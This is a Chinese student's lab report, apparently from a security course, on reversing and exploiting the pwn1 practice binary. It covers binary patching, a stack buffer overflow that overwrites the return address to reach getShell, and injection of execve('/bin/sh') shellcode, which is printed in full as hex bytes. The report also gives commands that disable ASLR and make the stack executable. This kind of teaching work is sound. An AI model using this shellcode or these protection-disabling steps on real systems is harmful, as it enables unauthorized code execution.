2017-2018-2 20155333 《网络对抗技术》 Exp1 PC平台逆向破解

1、 逆向及Bof基础实践说明

1.1 实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

  • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

1.2 实践内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

1.3 实践思路

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码

2、 基础知识

2.1 要求

  • 熟悉Linux基本操作

    • 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
  • 理解Bof的原理。
    • 能看得懂汇编、机器指令、EIP、指令地址。
  • 会使用gdb,vi。
  • 指令、参数

2.2 常用的Linux基本操作

  • objdump -d:从objfile中反汇编那些特定指令机器码的section。
  • perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
  • xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。
  • ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
  • |:管道,将前者的输出作为后者的输入。
  • >:输入输出重定向符,将前者输出的内容输入到后者中。

2.3 常用汇编指令

  • objdump -d XX:反汇编
  • :%!xxd:进入十六进制编辑模式
  • /:查询
  • gdb XXX:调试
  • %!xxd -r:切回原模式

实践

实践一 直接修改程序机器指令,改变程序执行流程

  • 下载目标文件pwn1,反汇编。

  • getShell和foo地址相差(91-7d)=0x21,因此欲call 8048491 修改为call 804847d ,需要将d7修改为c3(d7-21)

  • 修改过程:

    • vi打开编辑文件(此时为二进制格式);
    • 按ESC键,输入:%!xxd将文件转换为十六进制编辑模式;
    • 输入/e8 d7找到修改位置,i进入编辑模式修改d7为c3;
    • 输入:%!xxd -r转回二进制模式;
    • 输入:wq保存退出。

  • 再次进行反汇编的结果如下:

  • 运行修改后的代码,可以得到shell提示符:

实践二 通过构造输入参数,造成BOF攻击,改变程序执行流

  • 反汇编,了解程序的基本功能
  • 确认输入字符串哪几个字符会覆盖到返回地址

- 分别输入1111111132222222333333334444444455555555和1111111132222222333333334444444412345678看eip寄存器的值,对比可知占用返回地址的压栈数据为4321
  • 将这些数换成getshell的内存地址(\x7d\x84\x04\x08\x0a),通过perl生成在ASCII界面所无法输入的16进制值,用(cat input; cat) | ./xxx来进入程序,运行结果如下:

实践三 注入Shellcode并执行

  • 准备工作:若堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。使用execstack -s XXX设置堆栈可执行,通过execstack -q XXX查看堆栈是否可执行。使用more /proc/sys/kernel/randomize_va_space命令查看是否开启地址随机化(让OS每次都用不同的地址加载应用),有以下三种情况

    • 0表示关闭进程地址空间随机化。
    • 1表示将mmap的基址,stack和vdso页面随机化。
    • 2表示在1的基础上增加栈(heap)的随机化。
  • 使用echo "0" > /proc/sys/kernel/randomize_va_space命令关闭进程地址空间随机化,并再次使用more /proc/sys/kernel/randomize_va_space验证。

  • Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr(nop一为是了填充,二是作为“着陆区/滑行区”,若猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode)。
  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

  • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

  • 构造一个shellcode,输入攻击命令(cat input_shellcode;cat) | ./XXX,并找到pwn1的进程号

  • 进行gdb调试,通过设置断点,来查看注入buf的内存地址

  • 结构为:anything+retaddr+nops+shellcode。看到01020304了,就是返回地址的位置。shellcode就挨着,所以地址是 0xffffd280

  • 修改input_shellcode为\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x60\xd2\xff\xff\x00,如图所示,再次攻击后成功!

问题与总结

问题:什么是漏洞?漏洞有什么危害?

漏洞就是正常功能的硬件、软件或者策略中的缺陷。黑客利用漏洞来破坏计算机安全,达到其他对正常使用者不利的目的。

实验收获与感想

参考老师的指导教程完成了本次实验,实验过程中不仅有复习到之前学过的Linux和汇编的相关知识,还学习了网络对抗的一些基本知识,算得上是小有收获了。

2017-2018-2 20155333 《网络对抗技术》 Exp1 PC平台逆向破解的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  3. 20155227《网络对抗》Exp1 PC平台逆向破解(5)M

    20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  4. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  5. 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解

    20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  6. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  7. # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟

    <网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...

  8. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  9. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

  10. 20145336张子扬 《网络对抗技术》 PC平台逆向破解

    #20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...

随机推荐

  1. Flutter Widgets (Container/Row/Column/Image)

    俗话说知己知彼百战百胜,如果对Flutter 里面的各种Widgets不了解,那你就别想将它们组合成你想要的效果.从今天开始.会把一个一个的widget 撸一遍..知道它大概的用法.效果.当你想做某个 ...

  2. [Ubuntu] 14.04 外接显示器分辨率调整

    最近按照提示更新了一下系统,安装了100多M的更新包,结果系统又读不出外接显示器的信息了,开机显示vga-1:probed a monitor but no|invalid edid,我也不懂. 后来 ...

  3. linux下opencv编译

    .tar.gz cd opencv-/ cd .. mkdir my_build_dir cd my_build_dir cmake ../opencv- -DWITH_GTK_2_X=ON -DCM ...

  4. python 元组编码和解码问题

    先看一个例子: (u'agentEnum', True, '200', {u'msg': u'\u6210\u529f', u'code': 1}) 在2.7.15版本中,如果有下面代码: def f ...

  5. CSS样式----CSS属性:字体属性和文本属性(图文详解)

    本文最初于2015-10-04发表于博客园,并在GitHub上持续更新前端的系列文章.欢迎在GitHub上关注我,一起入门和进阶前端. 以下是正文. 本文重要内容 CSS的单位 字体属性 文本属性 定 ...

  6. (转载)令人迷糊的Oracle递归查询(start with)

    转载地址:https://blog.csdn.net/weiwenhp/article/details/8218091 备注:如有侵权,请联系立即删除. 写代码时碰到要弄清楚Oracle的role之间 ...

  7. winform 关于Messagebox自动定时关闭

    添加一个类库MessageBoxTimeOut public class MessageBoxTimeOut { private string _caption; public void Show(s ...

  8. 《SQL Server 2008从入门到精通》--20180716

    1.锁 当多个用户同时对同一个数据进行修改时会产生并发问题,使用事务就可以解决这个问题.但是为了防止其他用户修改另一个还没完成的事务中的数据,就需要在事务中用到锁. SQL Server 2008提供 ...

  9. 【转】MySQL双主一致性架构优化

    [原文]https://www.toutiao.com/i6594414914838725133/ 一.双主保证高可用 MySQL数据库集群常使用一主多从,主从同步,读写分离的方式来扩充数据库的读性能 ...

  10. Nginx的配置使用

    因为做了一个聚合支付的服务应用,对于交易系统来说,并发要求比较高,所以需要使用负载均衡来缓解并发的要求,自行开发又太费时费力,Nginx查了些资料基本满足需求,故对其做了下研究,记录下防止遗忘. 一. ...